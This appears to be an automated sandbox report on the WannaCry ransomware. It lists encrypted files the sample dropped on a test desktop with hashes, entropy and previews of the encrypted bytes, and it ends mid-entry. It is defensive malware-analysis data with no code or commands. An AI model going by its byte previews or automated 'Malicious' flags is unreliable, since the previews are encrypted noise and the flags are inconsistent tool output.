                                                                                                      Preview:."..R..k..b.}......6.C.:..=.a..BJ9pXs.r.._.8........=N..C)..*.XLLD..U..&..wL.P.n...O.9..K..m..>.S....=.1 &..../.y`......R9..L.X..*.........BG.....m.....].....LM.p3.j...(H..3FtJ^.?2.t....U..r..A..:..l..Y.W...@+.....d.....{pB......$.q.b=...._.@.O5..G...s~z........Y.....'-Y.q.=.. .....a`...G.....C-.TuV.5s...L.H/......T...t.SKyih.w......aBy.......^'...mU...BpV......mvp.a]....l.yh.5..|.....qx7e)..ofVw.....hL.n.B;E.?el....?..z.:..x..xVB.z...........V.X.g...sX......^b....)Z...yF5..w.G....d.w...)..q8eY..-.g5.*S........bc....t..>....<....O.~..6{..?.s.Zr.I.gh.h..O........w..="-.>&-.@W.D.....:K.%.w.z`....[.d@8.i...]%b&...AMh.a.......c.d.9..z.C.....].5.K.....TI...'5.T.....G.'.....=..!#._..D.A.._.Dd..W!....;....w.9m..1.....m.R;..j...f......wQ.Q..y;.I..?.M.9m(.....TX.,p.x.<5....x....k...O..E..\.KT...).7_..3:....z...L.-.idM.^.....z...-.l.,..0..bk.N`NT...R.Z1......}Y.Ei....>..,.]Q....IB..;.......-........@.5+}.f.}.-*y.....;.......k.a.>c./.|Ni"I|..Y....

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\JDDHMPCDUJ.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.81510064409138
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkrVQxLQuID+p9aavEcD7lKyyeM0QizKJfxCUGsyT9G:bkrVQbf1yPqKpC7T9G
                                                                                                      MD5:E9F425BC07ACDBF8B99E9D00D692E92D
                                                                                                      SHA1:37BD47B3FB7DC21EEB16431939EE6106BF0430B0
                                                                                                      SHA-256:BEB55B3FB6CFCA22232EC1043765DBEDEA778471D0BC4F8E0D34023AF6988757
                                                                                                      SHA-512:67955C59D405D9E3EFC440096E4025B1DCE1D1294B1D00FBD1C11C6939E330B42CEEBC7F3BA04F915074C42006DDD90B7A65598A10BF43711E651D1A6FEFA815
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........#e.Dy:..#]>.]...P...OF.....u.V|. .a..K...b%O...J[..<K.....sA\A.iSW.|.<uk..v.q..H..4..K.5......-m......-.8.W.B...V.{....a.d.["./.6...B....z./...%m@..g.]g.....<.....t&.%.[.k...HR..j.S.e.I...S..A.;.U.lL..Xm..Lk.`..|l.N{..}...%G.+.g.../E.Uy.............G........H.UBg......TP...<..x....."K.-...1.Z..\q..-..&....2.l1..@oB.E....W5.........v.Q~..h...?`....`...A ...;.{u..\...EqF....M6..c..uB..U.P.....G..[.t]Q......S.2].Q..u.]..t%.0..@....].$T.q.J.3in.....9-.wC!uH.T......S.&![...`..d.^..6-....c/..(. .....o._.r.g.}HW'.0.}#.x...z.Sg.;.1...PA.:.....=.U4..Y..4..7.].*...H.1..A.{o.\Xl.|...........3.Q....CaLh...........-..R.E.].1&...s.U..../.o.|u.O....5W...!.........[.f{.c.....U...R..H.>..+....V5.[s.3....[...#S.H=/......6..oY^N.e=.7.!U3.&U....N`..c......E)`P"&.5.d.....h.I;.$..A.C.km.:t|!..*a.#..yp..R..cjs`....../..:u..u;.I..:........F.V\...a.......h.Ny.c..#......-Z].~J...x].%|...o.8.....2B...r....6&..7*....!...'Hj.}...A.biY..t....I.#.5V!g

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\JDDHMPCDUJ.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.81510064409138
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkrVQxLQuID+p9aavEcD7lKyyeM0QizKJfxCUGsyT9G:bkrVQbf1yPqKpC7T9G
                                                                                                      MD5:E9F425BC07ACDBF8B99E9D00D692E92D
                                                                                                      SHA1:37BD47B3FB7DC21EEB16431939EE6106BF0430B0
                                                                                                      SHA-256:BEB55B3FB6CFCA22232EC1043765DBEDEA778471D0BC4F8E0D34023AF6988757
                                                                                                      SHA-512:67955C59D405D9E3EFC440096E4025B1DCE1D1294B1D00FBD1C11C6939E330B42CEEBC7F3BA04F915074C42006DDD90B7A65598A10BF43711E651D1A6FEFA815
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........#e.Dy:..#]>.]...P...OF.....u.V|. .a..K...b%O...J[..<K.....sA\A.iSW.|.<uk..v.q..H..4..K.5......-m......-.8.W.B...V.{....a.d.["./.6...B....z./...%m@..g.]g.....<.....t&.%.[.k...HR..j.S.e.I...S..A.;.U.lL..Xm..Lk.`..|l.N{..}...%G.+.g.../E.Uy.............G........H.UBg......TP...<..x....."K.-...1.Z..\q..-..&....2.l1..@oB.E....W5.........v.Q~..h...?`....`...A ...;.{u..\...EqF....M6..c..uB..U.P.....G..[.t]Q......S.2].Q..u.]..t%.0..@....].$T.q.J.3in.....9-.wC!uH.T......S.&![...`..d.^..6-....c/..(. .....o._.r.g.}HW'.0.}#.x...z.Sg.;.1...PA.:.....=.U4..Y..4..7.].*...H.1..A.{o.\Xl.|...........3.Q....CaLh...........-..R.E.].1&...s.U..../.o.|u.O....5W...!.........[.f{.c.....U...R..H.>..+....V5.[s.3....[...#S.H=/......6..oY^N.e=.7.!U3.&U....N`..c......E)`P"&.5.d.....h.I;.$..A.C.km.:t|!..*a.#..yp..R..cjs`....../..:u..u;.I..:........F.V\...a.......h.Ny.c..#......-Z].~J...x].%|...o.8.....2B...r....6&..7*....!...'Hj.}...A.biY..t....I.#.5V!g

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.800063035813511
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:vFIjLxkax9w0CIDviunecy23ZueLT1KAGA0hhKEEPFZfaHt:qjWZM+jcyXcJKAqhhe3CHt
                                                                                                      MD5:A80E0896464A06695FD0CE2067EF3B57
                                                                                                      SHA1:0B4D2CAB236C51E30F32681921AF9BF05B9415E6
                                                                                                      SHA-256:B786CF6810353918AB4CF63F3920FAACB8C6DD49353C5DCFED0B8D22E8F7308D
                                                                                                      SHA-512:32BF9895EE22CA010B74442D243B916B27D2F769DC704401AEAFE69C9731AF48545429F836F007BA8F266188E1B7F7B37F721612238C637C461101B021CE83F8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..jfT....\..rBM....H..3..^C..;.\.....8........4.....lS..R5...?..E..vi..'..?&K.*._z. J9....m..{......EV..Lr~.A.X......l..W..>.X.....`.h..>p..D.Qk#`..'^l....D.T...N|:.oI..jN.<..{T....e.Xl$.~;/+.t(....'F....k..};...._[...kTok-.......-.})l..kg..C2.....;.*P.e...g.... ~%..K.wc...3..R:.....CR.,..}.(..z...n...OA...l>..D8].s..s.........u.2o.:T.q~W^.~].7.^....J3<....<.6)...K..h#ba..7.,5.V.H.L....._..>..]H......Q..~R...&.WP]=...........6.....H..m..(o#.(.AR9.v....z..j.K6.y.-K...8n....,M....Vh.>.f.=.J..Ol.,.Y.....&..|.p%y.H:0..hXk._....r...L..BX^m..i:...N.\......6R..t.....3e....b'...h..4...t<...v..y{S28......)...^^.\h...aX.Z.b9..G..O.TWx...g.OS...7.}.2Y....1......)....\.%~.2.[,I. .Y..\%.p...o._>.a9..PR.>.r..4.^.D..=.06.6.....=.l.9.A\c..S}0.(..YQ.]...fq....*.z2.q,........5P}:-]..D.".{e3f{....q.\..D....lg.?I...u3..m..^..a&..q..B...,6.4Gi.....iya......|....;Y..$..Xl56..)YP.)..X..x.{K._...,..{......~...vmx+/I....A......#.....PNV^.ntT.A..&.Z.

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845780077706212
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkf8JwSfYxQfoNPuYJe4aMKuSW7oy8shGvu/ArqcB5Ad22jaw+rBn:bkfeYxzPukeH/2hj//S5Adtaw+rB
                                                                                                      MD5:C6A373A9602B302816028F14896B5111
                                                                                                      SHA1:6282825A645CB33E54157E56C63A1AA120FF9FD1
                                                                                                      SHA-256:710560C025C080075D44F74D2B7E8BB08F5CB945067F270E1B2E4B7FB8C3051E
                                                                                                      SHA-512:53265F0535CAE17F5A993A45FAF9119276BB737545FE548CF83E1E316D56BAED66DB49E4F364B09BF2D10A19719D32D3D55321822C20686E9D45C3B3AEA8F914
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......s..l.k4..?.[...4.14.Q~,.Q.....9g.#.r.7.X.5@g...]n....d..=.*H@....M.^i..)J...*q`......`~..h.h.3A..T.>.p.t..X.).9...hj|5.-,..Pd...\W..s..O%.<.R.9c..;]S.b1c.B.........P.2.Va.Kc.gv.....'........O.nh>5.P..xrF.....r&}..h..?.......@+.O.".}.....Q..DJ..............?.....xU.h.M.....H_$.=...=d..>.:..I%)...n....-o...y.......?Tk.w....v...?11h....].6CR'.WPn.J.sB.......D.g.7:.K.{.....r.f..7"..8D.n..7..q...^/i.}@uU..=....6.)|..t$...x..@.h$..pTg..e.n2.........|...YM.A.B."..J..Z.A.....\7..@m.NKU.ayn.....0..|z.UW..,.x.%=...=.....U.cOP...|....#Vk.;#..^./.X..&.!...]/.6cr..c.gc.p...B^..GVR.i.1.....'n@...&......Q..I....b...x./...jrux.K...B.D...........N....U1..=..I...i...R....>;~7...,.7.FS!..c..c|X..}...yt.p.......).5.l.)EJ......x9......s.d......+.....K....l0p{...F.%4Kr.....e.S..+.8....5...X..g.6._&].S7.!.....V.N.I.ol9.?..9.<..zVm.GA5.,&.i.Kl.......6.'c.F.?'.......f.....I..Qk9............a.....G:..s..r;...S....>'....B..6......)p>\K@.I...r

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845780077706212
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkf8JwSfYxQfoNPuYJe4aMKuSW7oy8shGvu/ArqcB5Ad22jaw+rBn:bkfeYxzPukeH/2hj//S5Adtaw+rB
                                                                                                      MD5:C6A373A9602B302816028F14896B5111
                                                                                                      SHA1:6282825A645CB33E54157E56C63A1AA120FF9FD1
                                                                                                      SHA-256:710560C025C080075D44F74D2B7E8BB08F5CB945067F270E1B2E4B7FB8C3051E
                                                                                                      SHA-512:53265F0535CAE17F5A993A45FAF9119276BB737545FE548CF83E1E316D56BAED66DB49E4F364B09BF2D10A19719D32D3D55321822C20686E9D45C3B3AEA8F914
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......s..l.k4..?.[...4.14.Q~,.Q.....9g.#.r.7.X.5@g...]n....d..=.*H@....M.^i..)J...*q`......`~..h.h.3A..T.>.p.t..X.).9...hj|5.-,..Pd...\W..s..O%.<.R.9c..;]S.b1c.B.........P.2.Va.Kc.gv.....'........O.nh>5.P..xrF.....r&}..h..?.......@+.O.".}.....Q..DJ..............?.....xU.h.M.....H_$.=...=d..>.:..I%)...n....-o...y.......?Tk.w....v...?11h....].6CR'.WPn.J.sB.......D.g.7:.K.{.....r.f..7"..8D.n..7..q...^/i.}@uU..=....6.)|..t$...x..@.h$..pTg..e.n2.........|...YM.A.B."..J..Z.A.....\7..@m.NKU.ayn.....0..|z.UW..,.x.%=...=.....U.cOP...|....#Vk.;#..^./.X..&.!...]/.6cr..c.gc.p...B^..GVR.i.1.....'n@...&......Q..I....b...x./...jrux.K...B.D...........N....U1..=..I...i...R....>;~7...,.7.FS!..c..c|X..}...yt.p.......).5.l.)EJ......x9......s.d......+.....K....l0p{...F.%4Kr.....e.S..+.8....5...X..g.6._&].S7.!.....V.N.I.ol9.?..9.<..zVm.GA5.,&.i.Kl.......6.'c.F.?'.......f.....I..Qk9............a.....G:..s..r;...S....>'....B..6......)p>\K@.I...r

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\ZGGKNSUKOP.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:OpenPGP Public Key
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.783595745151166
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:WXFFStJf7UENxdd+06XHMIzSnKlm0+NgW9MQ9yDEM+F0n7UNzIsdLIDdQ:5tJffG06XHJz2KEv8QPfY4dYQ
                                                                                                      MD5:30928A416DEEA32A5419C08637F0D23B
                                                                                                      SHA1:E276DA56B9EB5E1E8CA8F0266620AC5166C87D06
                                                                                                      SHA-256:5EC25875DD68AFF8BF794D4C326343F4D41D8284CC5AB7A953AD2AAD9C317DEC
                                                                                                      SHA-512:53F324B19F8CFA193183177FA41AF7F35F3FEC7C6F6712B70404E53A007967FEFA47403053745B9000F9FFD4364EE9CFB3323C6A147FA3569D70538AB4ABCB69
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:.4Ok.H..haA.....L>.y.R.U%gG..r.n......m.....o,.P.B..k.<...w,e6.-...cV9..ay(u..{R...!....QZ./.......^.&....<.|.=.f.j....&G_Q_.7n....n.>..;*Z..3.b;.c.a.Z..ZC.......`.."E,......00H..nG..T.t.:..mV....-..`.....9.v....;....<...2U.U..oe....Y...Z.y~n..,vb7...&.#X..A........~_.I.Ni~Gt.....C.t.. .U...E.m....*v.l.k..0/...6l.$.uu}'....,%?./U...mOz...3..gR...V.S%c!.E.,)-..._.imn.N......0[...#l.WH...j.`.....B[...y.Nxf.[7..r.*....UF.].........\Ch0..f.}....@.....D............H.'..c..{yc~.1h.J.....lo.wBv..d5..g...3..i>+...!..&.v........v.....=.Q..JmoE.Q.B..L...8..Q..H.cp:...H.-.=..h....i.N...F.g.RNvn.M.[;...../...QY..Z.2.....^UB..v.q.g`.N..s....S.....t.f.F...-GS.F{j....-!...[."4.1.jbI.L@~q.~p....'....s.Y.~.%].% ..r......{@*1....y.5...V.~..4.....f...f..-..lawhL..;..sa.,.lx...qS(u.{9./......qUm.Po......v.f.$...C.P...6....$..I..~...i.T..-...i..F..Q&./gc.J.l;...j.6......*.ov..z..[.....o.D....rn.o!......H....h,B...AW....t....t...q.6.c,I...HWs.%.c3....IZF.V..

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\ZGGKNSUKOP.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.832995042785081
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkZB1EjUdrcJyFTT02yzVuzEOXZvpkrZDg6hQ4jXRzOTDG17FBP7lUj/WH6EJ:bkZB15cQV02O9OXZpkrC6D5gDWBB6Y6k
                                                                                                      MD5:6813EBF21C7E9F47C386A0DC18081D10
                                                                                                      SHA1:A1B0C4E95D81D6A4224DD9A2B446ED5855A9BD29
                                                                                                      SHA-256:6FB5591C46054FB84013C29149B56C5A1A254239708A3F816AE157E3A4398085
                                                                                                      SHA-512:8E8D464C01825B7CBAB77981532FAD6F1889EA250DB6F0BD5ACD8B86B9E5DD122B5C5E561ADAA09A0BA0C3FB8CBAB04EDD76A5F1139735883DB759FC61DFD7E6
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......APC"73f<4....0l..1...MU.`~.PL.X.%...9.h..DH..dsT.T.c..3;.r.g.."\6.r3...}P.d..5..o...%3T....b..T....6.D..?.6.#...e.-B'.E..O.tw-.../.._v.n.....F.}*.RS..S..U.b.%.p6.S,.o..~.o5.......P(k....F..[...Q.......E..n..Vh.|...".B.....hV!V.,(..&`2 .............9../.[JYz.n..s.....-%...:}...}93.,.N...-.L...~.s,.N..=...........2X.]A..ZBi.....&.y..p+T)or.Oj6.i9uH.2.M.. -...r.NK]A....N...N.3!_DX..Lc...mR..@.....w......W..w.Z...=+\Ci..v....1...%,..'.q..$0m}bn..&.KK..4..5C..9.6.2\.."..3...5.......t..O.M.#1.$.......A...S..m..........W...\....\.C2....7.D...&.^.Ke.5.V.@.owA.xV..\.5oA.....q...[k..-:...c....L..D..a....U..>.......b...pv....k.CO..r.X..@p....aA...X.$m.........8f.}[2....n.l.....E;.....<...:..OU.(B4.,.`.....=.+u...d.....!..1...5.;.....aJ..FR.n..A>LM....bju#.....z..c..E.....!.XD..41.r....'....J...EV.v.\...pG_..XD4.H..). .0.<..u....]......Q"......deOeBk.........2.o.|..i..v...Q......W$t..N.5.^.W..+..`..3p....8R..8..z8++...!.

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\ZGGKNSUKOP.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.832995042785081
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkZB1EjUdrcJyFTT02yzVuzEOXZvpkrZDg6hQ4jXRzOTDG17FBP7lUj/WH6EJ:bkZB15cQV02O9OXZpkrC6D5gDWBB6Y6k
                                                                                                      MD5:6813EBF21C7E9F47C386A0DC18081D10
                                                                                                      SHA1:A1B0C4E95D81D6A4224DD9A2B446ED5855A9BD29
                                                                                                      SHA-256:6FB5591C46054FB84013C29149B56C5A1A254239708A3F816AE157E3A4398085
                                                                                                      SHA-512:8E8D464C01825B7CBAB77981532FAD6F1889EA250DB6F0BD5ACD8B86B9E5DD122B5C5E561ADAA09A0BA0C3FB8CBAB04EDD76A5F1139735883DB759FC61DFD7E6
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......APC"73f<4....0l..1...MU.`~.PL.X.%...9.h..DH..dsT.T.c..3;.r.g.."\6.r3...}P.d..5..o...%3T....b..T....6.D..?.6.#...e.-B'.E..O.tw-.../.._v.n.....F.}*.RS..S..U.b.%.p6.S,.o..~.o5.......P(k....F..[...Q.......E..n..Vh.|...".B.....hV!V.,(..&`2 .............9../.[JYz.n..s.....-%...:}...}93.,.N...-.L...~.s,.N..=...........2X.]A..ZBi.....&.y..p+T)or.Oj6.i9uH.2.M.. -...r.NK]A....N...N.3!_DX..Lc...mR..@.....w......W..w.Z...=+\Ci..v....1...%,..'.q..$0m}bn..&.KK..4..5C..9.6.2\.."..3...5.......t..O.M.#1.$.......A...S..m..........W...\....\.C2....7.D...&.^.Ke.5.V.@.owA.xV..\.5oA.....q...[k..-:...c....L..D..a....U..>.......b...pv....k.CO..r.X..@p....aA...X.$m.........8f.}[2....n.l.....E;.....<...:..OU.(B4.,.`.....=.+u...d.....!..1...5.;.....aJ..FR.n..A>LM....bju#.....z..c..E.....!.XD..41.r....'....J...EV.v.\...pG_..XD4.H..). .0.<..u....]......Q"......deOeBk.........2.o.|..i..v...Q......W$t..N.5.^.W..+..`..3p....8R..8..z8++...!.

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\ZIPXYXWIOY.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8311826362438355
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:GWZUJ15/iju5r+SgYpghw1+4HJrbtBWycg1/hi+w9hO31o:GP5/ijIr+XYpghw1FBW5g1/Y+2AFo
                                                                                                      MD5:81D16E8D9E55A99499E4B41BA7FDD1EC
                                                                                                      SHA1:F1FCE9D2486B0B0FC1C95E3B6DE451916CADB3FE
                                                                                                      SHA-256:50A549F364F2A707FE4C5CA38D744D417FB028C2E634D4F687E156E71B5FA420
                                                                                                      SHA-512:41B993A28FDF1D464FB90C5214590ACDD85B5252C15A911ED8C1DA2CCA12199810BD840BF447D06A26EC14EEC91665940432CDB0E73E707535E153A4B93FE883
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..(R..4l......{...+....E.#e [W.}5..J...7._..@...M..i..<..=..@...a.]...Oeq.UFWp......Mf..y5.S*aT...I.U..n.c.Q.H..?..;.).7.......{1.......k..g...{;...}....uV....m...H....\L....Uqj.W..bOg....D.w.v....ik.B.....b..B.hH...}.g...... .3.c...:...:..W.....".Qm.2m....BQVQ.x..)u..W....X~=.H=...:..=...^%..:A.Nt.c..W.Q..qZM...0........+!...s.sY...(D....Pu_'.p.-rSy.b.N..^.l..$W.H..X].z+&......T*.....q}.mP..H%..P.^Gh.OH......,y....VW&.gNZ.4.....X....h.I.f.fc ...`..Q.-r....&9.6......J".5.G.<.3tO....f.....i. ......Q. b.0.2...L8..dG..Z......~P.....7..0...oQ....v.....z.'.^t@......$....g..=..A.<].~e..>.O..K.\.. ....e..}B.97..........;Q*....p..39.q'.3..C4.c6...Yi(Y.!.[...u...~(.@3{.71..U.y..^.\...X@.{....&.*.toQ.B.KccW.O:...S..>..r...^...j...(VI...>/..dZ.....!..,...}2....ev..P$..k7...2.}..Qqh.K|..@`..2.,L..41.w...>&..LJ.\...n...[s.!.....A7.....Nc....!..a#N...zo1J.Jj...I}.!...........*r..;am.-&pD...Z..j.:.<h..eE...V..|.q5..zw..F..|...=..3i....+-.#.

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\ZIPXYXWIOY.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.85614937208528
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk42nv+uV060z9gdhP/jNUAsYiAJtW7Ld7G7Pfja6NMD0v0OkzCxE1iaVq4qcapU:bkFnv+y0kdfUAV/WkDjDN80Mf1ia4THU
                                                                                                      MD5:830E11AB15420094BBABB5EDE8A3B45F
                                                                                                      SHA1:912E0A3265329A60AC827B870E173D214D230F4D
                                                                                                      SHA-256:8456BA6634977A30A786F3E3687191C1B365B464E2F0E8DFDA5EC05E9BF7D5B2
                                                                                                      SHA-512:3F2A8F5FB975146A97E21C7B506B8978BE77C3C63E718DB3F8940EA0C77C7CACE548A72D80BBB5F60A8D8625D55CCC86311CC54292072F6724179CDDAF66075E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....a...Q....;:1.....\\.p..cdy3f9J.z.x"O.0X._......B...Y.PTf.~..n..N*h2L...$`5Z(........l.L:....T..|....P..#.#).G...\.E.....v..F..(... ]....2.r....C...%....e..]T..F.....z(.........m..8.!...h.?.O..*"...&........q....f......SRY..0.C..Q......6.?Ok....................\...v .73..Z}.=...e.F.r.M..YY|es.......m.....n.q..L.p..`.R.G!$..`..Sq..d..jkb.....| ...3Im...s...Ue...l.....8..U.W...D..eB.UNE}b....n.1..6.\l.%..5..?..][U..S........*....e.t..l..!^..a......8..H.Z..M.u.....S.....0B&..x.....y....9...|C.p.Nn!=...g.V....G.......j.....^...8.R"j.@...*.ox[.KOu.v.U..C......+/R..N..f.C\..9.S..P......`c.t.og....~.....rUo....%#..(<.XH.-6J-|....)..ta(..ct.k#...A<.......*b...K=....q.X...RMBB..k....2a....OK.?..eE..'p8..s%v..s....:.*.zC....Y.@."..{;..r.L.P.V......Pl.0...4\...?.=M..Q.QX.J<..J.....c/.F...u.x..og;.X..4..3.Yw.p....&..e.,....^.JuJr.a)y.;.z2s{..t.%.}.O....F..$.e..|.o.Ay*..^EdAR/.3........].......E..R...H,g....&.'..[.....P..............Q

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA\ZIPXYXWIOY.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.85614937208528
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk42nv+uV060z9gdhP/jNUAsYiAJtW7Ld7G7Pfja6NMD0v0OkzCxE1iaVq4qcapU:bkFnv+y0kdfUAV/WkDjDN80Mf1ia4THU
                                                                                                      MD5:830E11AB15420094BBABB5EDE8A3B45F
                                                                                                      SHA1:912E0A3265329A60AC827B870E173D214D230F4D
                                                                                                      SHA-256:8456BA6634977A30A786F3E3687191C1B365B464E2F0E8DFDA5EC05E9BF7D5B2
                                                                                                      SHA-512:3F2A8F5FB975146A97E21C7B506B8978BE77C3C63E718DB3F8940EA0C77C7CACE548A72D80BBB5F60A8D8625D55CCC86311CC54292072F6724179CDDAF66075E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....a...Q....;:1.....\\.p..cdy3f9J.z.x"O.0X._......B...Y.PTf.~..n..N*h2L...$`5Z(........l.L:....T..|....P..#.#).G...\.E.....v..F..(... ]....2.r....C...%....e..]T..F.....z(.........m..8.!...h.?.O..*"...&........q....f......SRY..0.C..Q......6.?Ok....................\...v .73..Z}.=...e.F.r.M..YY|es.......m.....n.q..L.p..`.R.G!$..`..Sq..d..jkb.....| ...3Im...s...Ue...l.....8..U.W...D..eB.UNE}b....n.1..6.\l.%..5..?..][U..S........*....e.t..l..!^..a......8..H.Z..M.u.....S.....0B&..x.....y....9...|C.p.Nn!=...g.V....G.......j.....^...8.R"j.@...*.ox[.KOu.v.U..C......+/R..N..f.C\..9.S..P......`c.t.og....~.....rUo....%#..(<.XH.-6J-|....)..ta(..ct.k#...A<.......*b...K=....q.X...RMBB..k....2a....OK.?..eE..'p8..s%v..s....:.*.zC....Y.@."..{;..r.L.P.V......Pl.0...4\...?.=M..Q.QX.J<..J.....c/.F...u.x..og;.X..4..3.Yw.p....&..e.,....^.JuJr.a)y.;.z2s{..t.%.}.O....F..$.e..|.o.Ay*..^EdAR/.3........].......E..R...H,g....&.'..[.....P..............Q

                                                                                                      C:\Users\user\Desktop\EIVQSAOTAQ.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.794307564465799
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:hNAK+bC8ps83WL/b/5pA5JY+ujTtGokmQk0jarmNGaEIFDN2rl:hNf+hUL/b/45OjTt27kma4EwNE
                                                                                                      MD5:70D91E2481CD8A2CA076F399F57477C4
                                                                                                      SHA1:266D38AED1A8908BFD996C43A7C07558FAE9F2FA
                                                                                                      SHA-256:ABF451CE02697A1F2B9DAEC02809A969926F7E634564EBE6B9C72397CA4C735B
                                                                                                      SHA-512:BB91FDFC407C4DDCC534A9BA384D86582C39F8365568377A6AFC32CD59C569CBAB9ACBB93CFC13A2CDA8412A1703C23407B2333F3C8A1892F8AF96998B6DD938
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...l.$.*6)..H.A._.'....GV....i..QqJ(.J....,.`....F.d.]h..W.}{......*p....`..{^....p.@n...C..%..;&<".....t. 9h.d.E.k.......N...up..6...\..X*.C..~..F...V.j.4dz..=^.r..A.Hl....3#!H.K.o.......yB..E0.G...A..X6.60.....X.0.}.'&.u.#L$.UN..M..-.k.....)..3W..._..p.p*B...#..^p..9+.-5....Z]c.Gw\.O.k..8iQ.......V..9..mc..w.K~=M...P}....H..p..U...7...{.....3.L.D.7...zYKW..&.O5......$..V..7"G6..jh(.}...:`........]........k.I.8....O..^<..|......#..S..co......'..<.q.\+....Fd;...>.d..hfb.X......T.9.~. +..vB9O...........r......."&cFb#U.......R.lj.X..(]G.1....y...k...>.W.)l7.R.wy{F..)...|..4f)..t..>...Uc..M....7......!.z7....k..w~.....Wd..Fz.........v...38*.....L..-.b......Zo........,..,....'^^..q.jB8tu..|..y..Ol/...l..CE....;:.Q8..w.bx..|..Np..%...8.<.:.O...........g4[........z{".fm.#..#......k..'.a%y....D...&l....^O.ylH0L3.`_.W..r..9V....e....%.{<W~..?..|`..m)v.....i.y.d..-...T.*~..x..5s.-F......L.:/......... ..`....Q.H...BU.l.b.t.X.....[.#i%....S'G:..t

                                                                                                      C:\Users\user\Desktop\EIVQSAOTAQ.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.86601723950287
                                                                                                      Encrypted:false
